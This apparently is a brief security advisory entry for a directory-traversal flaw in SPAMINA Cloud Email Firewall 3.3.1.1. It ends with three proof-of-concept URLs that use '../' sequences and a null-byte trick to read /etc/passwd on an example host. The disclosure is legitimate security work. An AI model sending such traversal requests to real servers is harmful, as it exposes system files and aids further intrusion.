source: https://www.securityfocus.com/bid/64693/info

SPAMINA Cloud Email Firewall is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files that contain sensitive information. Information harvested may aid in launching further attacks.

SPAMINA Cloud Email Firewall 3.3.1.1 is vulnerable; other versions may also be affected. 

https://www.example.com/?action=showHome&language=../../../../../../../../../../etc/passwd%00.jpg
https://www.example.com/multiadmin/js/lib/?action=../../../../../../../../../../etc/passwd&language=de
https://www.example.com/index.php?action=userLogin&language=../../../../../../../../../../etc/passwd.jpg